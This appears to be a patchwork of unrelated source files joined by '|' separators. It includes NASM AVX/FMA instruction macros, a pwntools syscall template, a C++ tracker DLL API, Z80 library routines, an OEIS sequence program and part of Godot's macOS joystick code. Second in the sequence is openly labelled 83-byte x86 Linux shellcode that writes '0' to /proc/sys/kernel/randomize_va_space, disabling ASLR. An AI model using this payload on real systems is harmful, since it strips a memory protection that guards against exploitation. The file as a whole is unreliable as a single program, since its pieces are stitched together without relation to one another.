%macro RUN_AVX_INSTR 6-9+
%ifnum sizeof%7
%assign __sizeofreg sizeof%7
%elifnum sizeof%6
%assign __sizeofreg sizeof%6
%else
%assign __sizeofreg mmsize
%endif
%assign __emulate_avx 0
%if avx_enabled && __sizeofreg >= 16
%xdefine __instr v%1
%else
%xdefine __instr %1
%if %0 >= 8+%4
%assign __emulate_avx 1
%endif
%endif
%ifnidn %2, fnord
%ifdef cpuname
%if notcpuflag(%2)
%error use of ``%1'' %2 instruction in cpuname function: current_function
%elif cpuflags_%2 < cpuflags_sse && notcpuflag(sse2) && __sizeofreg > 8
%error use of ``%1'' sse2 instruction in cpuname function: current_function
%endif
%endif
%endif
%if __emulate_avx
%xdefine __src1 %7
%xdefine __src2 %8
%ifnidn %6, %7
%if %0 >= 9
CHECK_AVX_INSTR_EMU {%1 %6, %7, %8, %9}, %6, %8, %9
%else
CHECK_AVX_INSTR_EMU {%1 %6, %7, %8}, %6, %8
%endif
%if %5 && %4 == 0
%ifnid %8
; 3-operand AVX instructions with a memory arg can only have it in src2,
; whereas SSE emulation prefers to have it in src1 (i.e. the mov).
; So, if the instruction is commutative with a memory arg, swap them.
%xdefine __src1 %8
%xdefine __src2 %7
%endif
%endif
%if __sizeofreg == 8
MOVQ %6, __src1
%elif %3
MOVAPS %6, __src1
%else
MOVDQA %6, __src1
%endif
%endif
%if %0 >= 9
%1 %6, __src2, %9
%else
%1 %6, __src2
%endif
%elif %0 >= 9
__instr %6, %7, %8, %9
%elif %0 == 8
__instr %6, %7, %8
%elif %0 == 7
__instr %6, %7
%else
__instr %6
%endif
%endmacro
;%1 == instruction
;%2 == minimal instruction set
;%3 == 1 if float, 0 if int32_t
;%4 == 1 if non-destructive or 4-operand (xmm, xmm, xmm, imm), 0 otherwise
;%5 == 1 if commutative (i.e. doesn't matter which src arg is which), 0 if not
%macro AVX_INSTR 1-5 fnord, 0, 1, 0
%macro %1 1-10 fnord, fnord, fnord, fnord, %1, %2, %3, %4, %5
%ifidn %2, fnord
RUN_AVX_INSTR %6, %7, %8, %9, %10, %1
%elifidn %3, fnord
RUN_AVX_INSTR %6, %7, %8, %9, %10, %1, %2
%elifidn %4, fnord
RUN_AVX_INSTR %6, %7, %8, %9, %10, %1, %2, %3
%elifidn %5, fnord
RUN_AVX_INSTR %6, %7, %8, %9, %10, %1, %2, %3, %4
%else
RUN_AVX_INSTR %6, %7, %8, %9, %10, %1, %2, %3, %4, %5
%endif
%endmacro
%endmacro
; Instructions with both VEX and non-VEX encodings
; Non-destructive instructions are written without parameters
AVX_INSTR addpd, sse2, 1, 0, 1
AVX_INSTR addps, sse, 1, 0, 1
AVX_INSTR addsd, sse2, 1, 0, 1
AVX_INSTR addss, sse, 1, 0, 1
AVX_INSTR addsubpd, sse3, 1, 0, 0
AVX_INSTR addsubps, sse3, 1, 0, 0
AVX_INSTR aesdec, fnord, 0, 0, 0
AVX_INSTR aesdeclast, fnord, 0, 0, 0
AVX_INSTR aesenc, fnord, 0, 0, 0
AVX_INSTR aesenclast, fnord, 0, 0, 0
AVX_INSTR aesimc
AVX_INSTR aeskeygenassist
AVX_INSTR andnpd, sse2, 1, 0, 0
AVX_INSTR andnps, sse, 1, 0, 0
AVX_INSTR andpd, sse2, 1, 0, 1
AVX_INSTR andps, sse, 1, 0, 1
AVX_INSTR blendpd, sse4, 1, 0, 0
AVX_INSTR blendps, sse4, 1, 0, 0
AVX_INSTR blendvpd, sse4, 1, 0, 0
AVX_INSTR blendvps, sse4, 1, 0, 0
AVX_INSTR cmppd, sse2, 1, 1, 0
AVX_INSTR cmpps, sse, 1, 1, 0
AVX_INSTR cmpsd, sse2, 1, 1, 0
AVX_INSTR cmpss, sse, 1, 1, 0
AVX_INSTR comisd, sse2
AVX_INSTR comiss, sse
AVX_INSTR cvtdq2pd, sse2
AVX_INSTR cvtdq2ps, sse2
AVX_INSTR cvtpd2dq, sse2
AVX_INSTR cvtpd2ps, sse2
AVX_INSTR cvtps2dq, sse2
AVX_INSTR cvtps2pd, sse2
AVX_INSTR cvtsd2si, sse2
AVX_INSTR cvtsd2ss, sse2
AVX_INSTR cvtsi2sd, sse2
AVX_INSTR cvtsi2ss, sse
AVX_INSTR cvtss2sd, sse2
AVX_INSTR cvtss2si, sse
AVX_INSTR cvttpd2dq, sse2
AVX_INSTR cvttps2dq, sse2
AVX_INSTR cvttsd2si, sse2
AVX_INSTR cvttss2si, sse
AVX_INSTR divpd, sse2, 1, 0, 0
AVX_INSTR divps, sse, 1, 0, 0
AVX_INSTR divsd, sse2, 1, 0, 0
AVX_INSTR divss, sse, 1, 0, 0
AVX_INSTR dppd, sse4, 1, 1, 0
AVX_INSTR dpps, sse4, 1, 1, 0
AVX_INSTR extractps, sse4
AVX_INSTR haddpd, sse3, 1, 0, 0
AVX_INSTR haddps, sse3, 1, 0, 0
AVX_INSTR hsubpd, sse3, 1, 0, 0
AVX_INSTR hsubps, sse3, 1, 0, 0
AVX_INSTR insertps, sse4, 1, 1, 0
AVX_INSTR lddqu, sse3
AVX_INSTR ldmxcsr, sse
AVX_INSTR maskmovdqu, sse2
AVX_INSTR maxpd, sse2, 1, 0, 1
AVX_INSTR maxps, sse, 1, 0, 1
AVX_INSTR maxsd, sse2, 1, 0, 1
AVX_INSTR maxss, sse, 1, 0, 1
AVX_INSTR minpd, sse2, 1, 0, 1
AVX_INSTR minps, sse, 1, 0, 1
AVX_INSTR minsd, sse2, 1, 0, 1
AVX_INSTR minss, sse, 1, 0, 1
AVX_INSTR movapd, sse2
AVX_INSTR movaps, sse
AVX_INSTR movd, mmx
AVX_INSTR movddup, sse3
AVX_INSTR movdqa, sse2
AVX_INSTR movdqu, sse2
AVX_INSTR movhlps, sse, 1, 0, 0
AVX_INSTR movhpd, sse2, 1, 0, 0
AVX_INSTR movhps, sse, 1, 0, 0
AVX_INSTR movlhps, sse, 1, 0, 0
AVX_INSTR movlpd, sse2, 1, 0, 0
AVX_INSTR movlps, sse, 1, 0, 0
AVX_INSTR movmskpd, sse2
AVX_INSTR movmskps, sse
AVX_INSTR movntdq, sse2
AVX_INSTR movntdqa, sse4
AVX_INSTR movntpd, sse2
AVX_INSTR movntps, sse
AVX_INSTR movq, mmx
AVX_INSTR movsd, sse2, 1, 0, 0
AVX_INSTR movshdup, sse3
AVX_INSTR movsldup, sse3
AVX_INSTR movss, sse, 1, 0, 0
AVX_INSTR movupd, sse2
AVX_INSTR movups, sse
AVX_INSTR mpsadbw, sse4
AVX_INSTR mulpd, sse2, 1, 0, 1
AVX_INSTR mulps, sse, 1, 0, 1
AVX_INSTR mulsd, sse2, 1, 0, 1
AVX_INSTR mulss, sse, 1, 0, 1
AVX_INSTR orpd, sse2, 1, 0, 1
AVX_INSTR orps, sse, 1, 0, 1
AVX_INSTR pabsb, ssse3
AVX_INSTR pabsd, ssse3
AVX_INSTR pabsw, ssse3
AVX_INSTR packsswb, mmx, 0, 0, 0
AVX_INSTR packssdw, mmx, 0, 0, 0
AVX_INSTR packuswb, mmx, 0, 0, 0
AVX_INSTR packusdw, sse4, 0, 0, 0
AVX_INSTR paddb, mmx, 0, 0, 1
AVX_INSTR paddw, mmx, 0, 0, 1
AVX_INSTR paddd, mmx, 0, 0, 1
AVX_INSTR paddq, sse2, 0, 0, 1
AVX_INSTR paddsb, mmx, 0, 0, 1
AVX_INSTR paddsw, mmx, 0, 0, 1
AVX_INSTR paddusb, mmx, 0, 0, 1
AVX_INSTR paddusw, mmx, 0, 0, 1
AVX_INSTR palignr, ssse3
AVX_INSTR pand, mmx, 0, 0, 1
AVX_INSTR pandn, mmx, 0, 0, 0
AVX_INSTR pavgb, mmx2, 0, 0, 1
AVX_INSTR pavgw, mmx2, 0, 0, 1
AVX_INSTR pblendvb, sse4, 0, 0, 0
AVX_INSTR pblendw, sse4
AVX_INSTR pclmulqdq
AVX_INSTR pcmpestri, sse42
AVX_INSTR pcmpestrm, sse42
AVX_INSTR pcmpistri, sse42
AVX_INSTR pcmpistrm, sse42
AVX_INSTR pcmpeqb, mmx, 0, 0, 1
AVX_INSTR pcmpeqw, mmx, 0, 0, 1
AVX_INSTR pcmpeqd, mmx, 0, 0, 1
AVX_INSTR pcmpeqq, sse4, 0, 0, 1
AVX_INSTR pcmpgtb, mmx, 0, 0, 0
AVX_INSTR pcmpgtw, mmx, 0, 0, 0
AVX_INSTR pcmpgtd, mmx, 0, 0, 0
AVX_INSTR pcmpgtq, sse42, 0, 0, 0
AVX_INSTR pextrb, sse4
AVX_INSTR pextrd, sse4
AVX_INSTR pextrq, sse4
AVX_INSTR pextrw, mmx2
AVX_INSTR phaddw, ssse3, 0, 0, 0
AVX_INSTR phaddd, ssse3, 0, 0, 0
AVX_INSTR phaddsw, ssse3, 0, 0, 0
AVX_INSTR phminposuw, sse4
AVX_INSTR phsubw, ssse3, 0, 0, 0
AVX_INSTR phsubd, ssse3, 0, 0, 0
AVX_INSTR phsubsw, ssse3, 0, 0, 0
AVX_INSTR pinsrb, sse4
AVX_INSTR pinsrd, sse4
AVX_INSTR pinsrq, sse4
AVX_INSTR pinsrw, mmx2
AVX_INSTR pmaddwd, mmx, 0, 0, 1
AVX_INSTR pmaddubsw, ssse3, 0, 0, 0
AVX_INSTR pmaxsb, sse4, 0, 0, 1
AVX_INSTR pmaxsw, mmx2, 0, 0, 1
AVX_INSTR pmaxsd, sse4, 0, 0, 1
AVX_INSTR pmaxub, mmx2, 0, 0, 1
AVX_INSTR pmaxuw, sse4, 0, 0, 1
AVX_INSTR pmaxud, sse4, 0, 0, 1
AVX_INSTR pminsb, sse4, 0, 0, 1
AVX_INSTR pminsw, mmx2, 0, 0, 1
AVX_INSTR pminsd, sse4, 0, 0, 1
AVX_INSTR pminub, mmx2, 0, 0, 1
AVX_INSTR pminuw, sse4, 0, 0, 1
AVX_INSTR pminud, sse4, 0, 0, 1
AVX_INSTR pmovmskb, mmx2
AVX_INSTR pmovsxbw, sse4
AVX_INSTR pmovsxbd, sse4
AVX_INSTR pmovsxbq, sse4
AVX_INSTR pmovsxwd, sse4
AVX_INSTR pmovsxwq, sse4
AVX_INSTR pmovsxdq, sse4
AVX_INSTR pmovzxbw, sse4
AVX_INSTR pmovzxbd, sse4
AVX_INSTR pmovzxbq, sse4
AVX_INSTR pmovzxwd, sse4
AVX_INSTR pmovzxwq, sse4
AVX_INSTR pmovzxdq, sse4
AVX_INSTR pmuldq, sse4, 0, 0, 1
AVX_INSTR pmulhrsw, ssse3, 0, 0, 1
AVX_INSTR pmulhuw, mmx2, 0, 0, 1
AVX_INSTR pmulhw, mmx, 0, 0, 1
AVX_INSTR pmullw, mmx, 0, 0, 1
AVX_INSTR pmulld, sse4, 0, 0, 1
AVX_INSTR pmuludq, sse2, 0, 0, 1
AVX_INSTR por, mmx, 0, 0, 1
AVX_INSTR psadbw, mmx2, 0, 0, 1
AVX_INSTR pshufb, ssse3, 0, 0, 0
AVX_INSTR pshufd, sse2
AVX_INSTR pshufhw, sse2
AVX_INSTR pshuflw, sse2
AVX_INSTR psignb, ssse3, 0, 0, 0
AVX_INSTR psignw, ssse3, 0, 0, 0
AVX_INSTR psignd, ssse3, 0, 0, 0
AVX_INSTR psllw, mmx, 0, 0, 0
AVX_INSTR pslld, mmx, 0, 0, 0
AVX_INSTR psllq, mmx, 0, 0, 0
AVX_INSTR pslldq, sse2, 0, 0, 0
AVX_INSTR psraw, mmx, 0, 0, 0
AVX_INSTR psrad, mmx, 0, 0, 0
AVX_INSTR psrlw, mmx, 0, 0, 0
AVX_INSTR psrld, mmx, 0, 0, 0
AVX_INSTR psrlq, mmx, 0, 0, 0
AVX_INSTR psrldq, sse2, 0, 0, 0
AVX_INSTR psubb, mmx, 0, 0, 0
AVX_INSTR psubw, mmx, 0, 0, 0
AVX_INSTR psubd, mmx, 0, 0, 0
AVX_INSTR psubq, sse2, 0, 0, 0
AVX_INSTR psubsb, mmx, 0, 0, 0
AVX_INSTR psubsw, mmx, 0, 0, 0
AVX_INSTR psubusb, mmx, 0, 0, 0
AVX_INSTR psubusw, mmx, 0, 0, 0
AVX_INSTR ptest, sse4
AVX_INSTR punpckhbw, mmx, 0, 0, 0
AVX_INSTR punpckhwd, mmx, 0, 0, 0
AVX_INSTR punpckhdq, mmx, 0, 0, 0
AVX_INSTR punpckhqdq, sse2, 0, 0, 0
AVX_INSTR punpcklbw, mmx, 0, 0, 0
AVX_INSTR punpcklwd, mmx, 0, 0, 0
AVX_INSTR punpckldq, mmx, 0, 0, 0
AVX_INSTR punpcklqdq, sse2, 0, 0, 0
AVX_INSTR pxor, mmx, 0, 0, 1
AVX_INSTR rcpps, sse, 1, 0, 0
AVX_INSTR rcpss, sse, 1, 0, 0
AVX_INSTR roundpd, sse4
AVX_INSTR roundps, sse4
AVX_INSTR roundsd, sse4
AVX_INSTR roundss, sse4
AVX_INSTR rsqrtps, sse, 1, 0, 0
AVX_INSTR rsqrtss, sse, 1, 0, 0
AVX_INSTR shufpd, sse2, 1, 1, 0
AVX_INSTR shufps, sse, 1, 1, 0
AVX_INSTR sqrtpd, sse2, 1, 0, 0
AVX_INSTR sqrtps, sse, 1, 0, 0
AVX_INSTR sqrtsd, sse2, 1, 0, 0
AVX_INSTR sqrtss, sse, 1, 0, 0
AVX_INSTR stmxcsr, sse
AVX_INSTR subpd, sse2, 1, 0, 0
AVX_INSTR subps, sse, 1, 0, 0
AVX_INSTR subsd, sse2, 1, 0, 0
AVX_INSTR subss, sse, 1, 0, 0
AVX_INSTR ucomisd, sse2
AVX_INSTR ucomiss, sse
AVX_INSTR unpckhpd, sse2, 1, 0, 0
AVX_INSTR unpckhps, sse, 1, 0, 0
AVX_INSTR unpcklpd, sse2, 1, 0, 0
AVX_INSTR unpcklps, sse, 1, 0, 0
AVX_INSTR xorpd, sse2, 1, 0, 1
AVX_INSTR xorps, sse, 1, 0, 1
; 3DNow instructions, for sharing code between AVX, SSE and 3DN
AVX_INSTR pfadd, 3dnow, 1, 0, 1
AVX_INSTR pfsub, 3dnow, 1, 0, 0
AVX_INSTR pfmul, 3dnow, 1, 0, 1
; base-4 constants for shuffles
%assign i 0
%rep 256
%assign j ((i>>6)&3)*1000 + ((i>>4)&3)*100 + ((i>>2)&3)*10 + (i&3)
%if j < 10
CAT_XDEFINE q000, j, i
%elif j < 100
CAT_XDEFINE q00, j, i
%elif j < 1000
CAT_XDEFINE q0, j, i
%else
CAT_XDEFINE q, j, i
%endif
%assign i i+1
%endrep
%undef i
%undef j
%macro FMA_INSTR 3
%macro %1 4-7 %1, %2, %3
%if cpuflag(xop)
v%5 %1, %2, %3, %4
%elifnidn %1, %4
%6 %1, %2, %3
%7 %1, %4
%else
%error non-xop emulation of ``%5 %1, %2, %3, %4'' is not supported
%endif
%endmacro
%endmacro
FMA_INSTR pmacsww, pmullw, paddw
FMA_INSTR pmacsdd, pmulld, paddd ; sse4 emulation
FMA_INSTR pmacsdql, pmuldq, paddq ; sse4 emulation
FMA_INSTR pmadcswd, pmaddwd, paddd
; Macros for consolidating FMA3 and FMA4 using 4-operand (dst, src1, src2, src3) syntax.
; FMA3 is only possible if dst is the same as one of the src registers.
; Either src2 or src3 can be a memory operand.
%macro FMA4_INSTR 2-*
%push fma4_instr
%xdefine %$prefix %1
%rep %0 - 1
%macro %$prefix%2 4-6 %$prefix, %2
%if notcpuflag(fma3) && notcpuflag(fma4)
%error use of ``%5%6'' fma instruction in cpuname function: current_function
%elif cpuflag(fma4)
v%5%6 %1, %2, %3, %4
%elifidn %1, %2
; If %3 or %4 is a memory operand it needs to be encoded as the last operand.
%ifid %3
v%{5}213%6 %2, %3, %4
%else
v%{5}132%6 %2, %4, %3
%endif
%elifidn %1, %3
v%{5}213%6 %3, %2, %4
%elifidn %1, %4
v%{5}231%6 %4, %2, %3
%else
%error fma3 emulation of ``%5%6 %1, %2, %3, %4'' is not supported
%endif
%endmacro
%rotate 1
%endrep
%pop
%endmacro
FMA4_INSTR fmadd, pd, ps, sd, ss
FMA4_INSTR fmaddsub, pd, ps
FMA4_INSTR fmsub, pd, ps, sd, ss
FMA4_INSTR fmsubadd, pd, ps
FMA4_INSTR fnmadd, pd, ps, sd, ss
FMA4_INSTR fnmsub, pd, ps, sd, ss
; workaround: vpbroadcastq is broken in x86_32 due to a yasm bug (fixed in 1.3.0)
%ifdef __YASM_VER__
%if __YASM_VERSION_ID__ < 0x01030000 && ARCH_X86_64 == 0
%macro vpbroadcastq 2
%if sizeof%1 == 16
movddup %1, %2
%else
vbroadcastsd %1, %2
%endif
%endmacro
%endif
%endif
|
;Shellcode size : 83 bytes
global _start
_start:
xor eax, eax ;Initialize eax to NULL
push eax ;Push NULL on the stack
push 0x65636170
push 0x735f6176
push 0x5f657a69
push 0x6d6f646e
push 0x61722f6c
push 0x656e7265
push 0x6b2f7379
push 0x732f636f
push 0x72702f2f
mov ebx, esp ;Initialize ebx to "//proc/sys/kernel/randomize_va_space%00"
mov cx, 0x2bc ;Move 0x2bc on the stack which is 700 in decimal
;700 means the file is opened with READ, WRITE, EXECUTE flags (S_IRWXU).
mov al, 0x8 ;Initialize al to systemcall number of "open"
;Systemcall details:
; --> fd = open("//proc/sys/kernel/randomize_va_space%00", S_IRWXU)
int 0x80 ;Execute systemcall
mov ebx, eax ;Move the return value of "open" which is the file descriptor inside ebx
push eax ;Push the file descriptor on the stack
mov dx, 0x3a30 ;Move 0x3a30 into edx
push dx ;push 0x3a30 on the stack
mov ecx, esp ;initialize ecx to stack pointer esp
xor edx, edx ;Initialize edx to NULL
inc edx ;Increment edx
mov al, 0x4 ;Initialize al to systemcall number of "write"
;Systemcall details:
; --> write(3, "0", 1)
int 0x80 ;Execute systemcall
mov al, 0x6 ;Initialize al to systemcall number of "close"
;Systemcall details:
; --> close(3)
int 0x80 ;Execute systemcall
xor eax, eax ;Initialize al to systemcall number of "exit"
xor ebx, ebx ;Initiliaze ebx to NULL
;Systemcall details:
; --> exit(0)
int 0x80 ;Execute systemcall |
org 0
incbin screen.scr
|
tuple struct
SDA dd 0
SDB dd 0
SDC dd 0
tuple ends |
<%
from pwnlib.shellcraft.thumb.linux import syscall
%>
<%page args="seconds"/>
<%docstring>
Invokes the syscall alarm. See 'man 2 alarm' for more information.
Arguments:
seconds(unsigned): seconds
</%docstring>
${syscall('SYS_alarm', seconds)}
|
#include "std_incl.h"
#include "QueuedTracker.h"
#include "BeadFinder.h"
#include "ResultManager.h"
#ifdef CUDA_TRACK
QueuedTracker* CreateCUDATracker(QTrkSettings* cfg);
#else
QueuedTracker* CreateCPUTracker(QTrkSettings* cfg);
#endif
CDLL_EXPORT void DLL_CALLCONV TestDLLCallConv(int a)
{
}
CDLL_EXPORT void DLL_CALLCONV QTrkGetDefaultConfig(QTrkSettings* cfg)
{
*cfg = QTrkSettings();
}
CDLL_EXPORT void DLL_CALLCONV QTrkGetComputedConfig(QTrkSettings* base, QTrkComputedConfig* cfg)
{
*cfg=QTrkComputedConfig(*base);
}
CDLL_EXPORT void QTrkFreeROIPositions(ROIPosition *data)
{
delete[] data;
}
CDLL_EXPORT ROIPosition* QTrkFindBeads(ImageData* imgData, int smpCornerPosX, int smpCornerPosY, int roi, float imgRelDist, float acceptance, int* beadcount, ImageData* sample)
{
BeadFinder::Config cfg;
cfg.img_distance = imgRelDist;
cfg.roi = roi;
cfg.similarity = acceptance;
ImageData& img = *imgData;
ImageData sampleImg = img.subimage(smpCornerPosX, smpCornerPosY, roi,roi);
if (sample && sample->w==roi && sample->h == roi) {
sampleImg.copyTo(sample->data);
}
auto results = BeadFinder::Find(&img, sampleImg.data, &cfg);
sampleImg.free();
ROIPosition *output=new ROIPosition[results.size()];
for (int i=0;i<results.size();i++)
{
output[i].x = results[i].x;
output[i].y = results[i].y;
}
*beadcount=results.size();
return output;
}
CDLL_EXPORT QueuedTracker* DLL_CALLCONV QTrkCreateInstance(QTrkSettings *cfg)
{
#ifdef CUDA_TRACK
return CreateCUDATracker(cfg);
#else
return CreateCPUTracker(cfg);
#endif
}
CDLL_EXPORT void DLL_CALLCONV QTrkFreeInstance(QueuedTracker* qtrk)
{
delete qtrk;
}
// C API, mainly intended to allow binding to .NET
CDLL_EXPORT void DLL_CALLCONV QTrkSetLocalizationMode(QueuedTracker* qtrk, LocMode_t locType)
{
qtrk->SetLocalizationMode(locType);
}
// Frame and timestamp are ignored by tracking code itself, but usable for the calling code
// Pitch: Distance in bytes between two successive rows of pixels (e.g. address of (0,0) - address of (0,1) )
// ZlutIndex: Which ZLUT to use for ComputeZ/BuildZLUT
CDLL_EXPORT void DLL_CALLCONV QTrkScheduleLocalization(QueuedTracker* qtrk, void* data, int pitch, QTRK_PixelDataType pdt, const LocalizationJob *jobInfo)
{
qtrk->ScheduleLocalization(data,pitch,pdt,jobInfo);
}
CDLL_EXPORT void DLL_CALLCONV QTrkClearResults(QueuedTracker* qtrk)
{
qtrk->ClearResults();
}
CDLL_EXPORT void DLL_CALLCONV QTrkFlush(QueuedTracker* qtrk)
{
qtrk->Flush();
}
// Schedule an entire frame at once, allowing for further optimizations
CDLL_EXPORT int DLL_CALLCONV QTrkScheduleFrame(QueuedTracker* qtrk, void *imgptr, int pitch, int width, int height, ROIPosition *positions, int numROI, QTRK_PixelDataType pdt, const LocalizationJob *jobInfo)
{
return qtrk->ScheduleFrame(imgptr, pitch, width, height, positions, numROI, pdt, jobInfo);
}
// data can be zero to allocate ZLUT data. zcmp has to have 'zlut_radialsteps' elements
CDLL_EXPORT void DLL_CALLCONV QTrkSetRadialZLUT(QueuedTracker* qtrk, float* data, int count, int planes)
{
qtrk->SetRadialZLUT(data, count, planes);
}
CDLL_EXPORT void DLL_CALLCONV QTrkGetRadialZLUT(QueuedTracker* qtrk, float* dst)
{
qtrk->GetRadialZLUT(dst);
}
CDLL_EXPORT void DLL_CALLCONV QTrkGetRadialZLUTSize(QueuedTracker* qtrk, int* count, int* planes, int* radialsteps)
{
qtrk->GetRadialZLUTSize(*count, *planes, *radialsteps);
}
CDLL_EXPORT void DLL_CALLCONV QTrkSetRadialWeights(QueuedTracker*qtrk, float* zcmp)
{
qtrk->SetRadialWeights(zcmp);
}
CDLL_EXPORT void DLL_CALLCONV QTrkBeginLUT(QueuedTracker* qtrk, uint flags)
{
qtrk->BeginLUT(flags);
}
CDLL_EXPORT void DLL_CALLCONV QTrkBuildLUT(QueuedTracker* qtrk, void* data, int pitch, QTRK_PixelDataType pdt, int plane, vector2f* known_pos)
{
qtrk->BuildLUT(data, pitch, pdt, plane, known_pos);
}
CDLL_EXPORT void DLL_CALLCONV QTrkFinalizeLUT(QueuedTracker* qtrk)
{
qtrk->FinalizeLUT();
}
CDLL_EXPORT int DLL_CALLCONV QTrkGetResultCount(QueuedTracker* qtrk)
{
return qtrk->GetResultCount();
}
CDLL_EXPORT int DLL_CALLCONV QTrkFetchResults(QueuedTracker* qtrk, LocalizationResult* results, int maxResults)
{
return qtrk->FetchResults(results, maxResults);
}
CDLL_EXPORT int DLL_CALLCONV QTrkGetQueueLength(QueuedTracker* qtrk, int *maxQueueLen)
{
return qtrk->GetQueueLength(maxQueueLen);
}
CDLL_EXPORT bool DLL_CALLCONV QTrkIsIdle(QueuedTracker* qtrk)
{
return qtrk->IsIdle();
}
CDLL_EXPORT void DLL_CALLCONV QTrkGetProfileReport(QueuedTracker* qtrk, char *dst, int maxStrLen)
{
strncpy(dst, qtrk->GetProfileReport().c_str(), maxStrLen);
}
CDLL_EXPORT void DLL_CALLCONV QTrkGetWarnings(QueuedTracker* qtrk, char *dst, int maxStrLen)
{
strncpy(dst, qtrk->GetWarnings().c_str(), maxStrLen);
}
CDLL_EXPORT ResultManager* DLL_CALLCONV RMCreate(const char *file, const char *frameinfo, ResultManagerConfig* cfg, const char* semicolonSeparatedNames)
{
std::vector<std::string> colnames;
std::string name;
for (int i=0; semicolonSeparatedNames[i]; i++ ){
char c=semicolonSeparatedNames[i];
if(c == ';') {
colnames.push_back(name);
name.clear();
}
name+=c;
}
if(name.size()>0) colnames.push_back(name);
return new ResultManager(file, frameinfo, cfg, colnames);
}
CDLL_EXPORT void DLL_CALLCONV RMSetTracker(ResultManager* rm, QueuedTracker* qtrk)
{
rm->SetTracker(qtrk);
}
CDLL_EXPORT void DLL_CALLCONV RMDestroy(ResultManager* rm)
{
delete rm;
}
CDLL_EXPORT void DLL_CALLCONV RMStoreFrameInfo(ResultManager* rm, int frame, double timestamp, float* cols)
{
rm->StoreFrameInfo(frame,timestamp,cols);
}
CDLL_EXPORT int DLL_CALLCONV RMGetBeadResults(ResultManager* rm, int start, int numFrames, int bead, LocalizationResult* results)
{
return rm->GetBeadPositions(start,start+numFrames, bead, results);
}
CDLL_EXPORT void DLL_CALLCONV RMGetFrameCounters(ResultManager* rm, RMFrameCounters* fc)
{
*fc=rm->GetFrameCounters();
}
CDLL_EXPORT void DLL_CALLCONV RMFlush(ResultManager* rm)
{
rm->Flush();
}
CDLL_EXPORT int DLL_CALLCONV RMGetResults(ResultManager* rm, int startFrame, int numFrames, LocalizationResult* results)
{
return rm->GetResults(results , startFrame, numFrames);
}
CDLL_EXPORT void DLL_CALLCONV RMRemoveBead(ResultManager* rm, int bead)
{
rm->RemoveBeadResults(bead);
}
CDLL_EXPORT void DLL_CALLCONV RMGetConfig(ResultManager* rm, ResultManagerConfig* cfg)
{
*cfg=rm->Config();
}
|
SECTION code_driver
SECTION code_driver_terminal_input
PUBLIC zx_01_input_lastk_proc_lastk_address
PUBLIC zx_01_input_lastk_proc_lastk
EXTERN l_offset_ix_de
zx_01_input_lastk_proc_lastk_address:
; return & LASTK
ld hl,25
jp l_offset_ix_de ; hl = & LASTK
zx_01_input_lastk_proc_lastk:
; return LASTK
; exit : hl = LASTK
; z flag set if hl = 0
call zx_01_input_lastk_proc_lastk_address ; hl = & LASTK
ld a,(hl)
inc hl
ld h,(hl)
ld l,a
or h
ret
|
; Z88 Small C+ Run Time Library
; Long functions
;
SECTION code_crt0_sccz80
PUBLIC l_long_lt
EXTERN l_long_cmp
;
;......logical operations: HL set to 0 (false) or 1 (true)
;
; DE < HL [signed]
.l_long_lt
call l_long_cmp
ret c
dec hl
ret
|
; A070723: n^7 mod 43.
; 0,1,42,37,1,37,6,7,42,36,6,1,37,36,36,36,1,36,7,37,37,1,42,6,6,36,7,42,7,7,7,6,42,37,7,1,36,37,6,42,6,1,42,0,1,42,37,1,37,6,7,42,36,6,1,37,36,36,36,1,36,7,37,37,1,42,6,6,36,7,42,7,7,7,6,42,37,7,1,36,37,6
pow $0,7
mod $0,43
|
/*************************************************************************/
/* joystick_osx.cpp */
/*************************************************************************/
/* This file is part of: */
/* GODOT ENGINE */
/* http://www.godotengine.org */
/*************************************************************************/
/* Copyright (c) 2007-2016 Juan Linietsky, Ariel Manzur. */
/* */
/* Permission is hereby granted, free of charge, to any person obtaining */
/* a copy of this software and associated documentation files (the */
/* "Software"), to deal in the Software without restriction, including */
/* without limitation the rights to use, copy, modify, merge, publish, */
/* distribute, sublicense, and/or sell copies of the Software, and to */
/* permit persons to whom the Software is furnished to do so, subject to */
/* the following conditions: */
/* */
/* The above copyright notice and this permission notice shall be */
/* included in all copies or substantial portions of the Software. */
/* */
/* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, */
/* EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF */
/* MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.*/
/* IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY */
/* CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, */
/* TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE */
/* SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */
/*************************************************************************/
#include "joystick_osx.h"
#include <machine/endian.h>
#define GODOT_JOY_LOOP_RUN_MODE CFSTR("GodotJoystick")
static JoystickOSX* self = NULL;
joystick::joystick() {
device_ref = NULL;
ff_device = NULL;
ff_axes = NULL;
ff_directions = NULL;
ffservice = 0;
ff_timestamp = 0;
id = 0;
ff_constant_force.lMagnitude = 10000;
ff_effect.dwDuration = 0;
ff_effect.dwSamplePeriod = 0;
ff_effect.dwGain = 10000;
ff_effect.dwFlags = FFEFF_OBJECTOFFSETS;
ff_effect.dwTriggerButton = FFEB_NOTRIGGER;
ff_effect.dwStartDelay = 0;
ff_effect.dwTriggerRepeatInterval = 0;
ff_effect.lpEnvelope = NULL;
ff_effect.cbTypeSpecificParams = sizeof(FFCONSTANTFORCE);
ff_effect.lpvTypeSpecificParams = &ff_constant_force;
ff_effect.dwSize = sizeof(ff_effect);
}
void joystick::free() {
if (device_ref) {
IOHIDDeviceUnscheduleFromRunLoop(device_ref, CFRunLoopGetCurrent(), GODOT_JOY_LOOP_RUN_MODE);
}
if (ff_device) {
FFDeviceReleaseEffect(ff_device, ff_object);
FFReleaseDevice(ff_device);
memfree(ff_axes);
memfree(ff_directions);
}
}
bool joystick::has_element(IOHIDElementCookie p_cookie, Vector<rec_element> *p_list) const {
for (int i = 0; i < p_list->size(); i++) {
if (p_cookie == p_list->get(i).cookie) {
return true;
}
}
return false;
}
int joystick::get_hid_element_state(rec_element *p_element) const {
int value = 0;
if (p_element && p_element->ref) {
IOHIDValueRef valueRef;
if (IOHIDDeviceGetValue(device_ref, p_element->ref, &valueRef) == kIOReturnSuccess) {
value = (SInt32) IOHIDValueGetIntegerValue(valueRef);
/* record min and max for auto calibration */
if (value < p_element->min) {
p_element->min = value;
}
if (value > p_element->max) {
p_element->max = value;
}
}
}
return value;
}
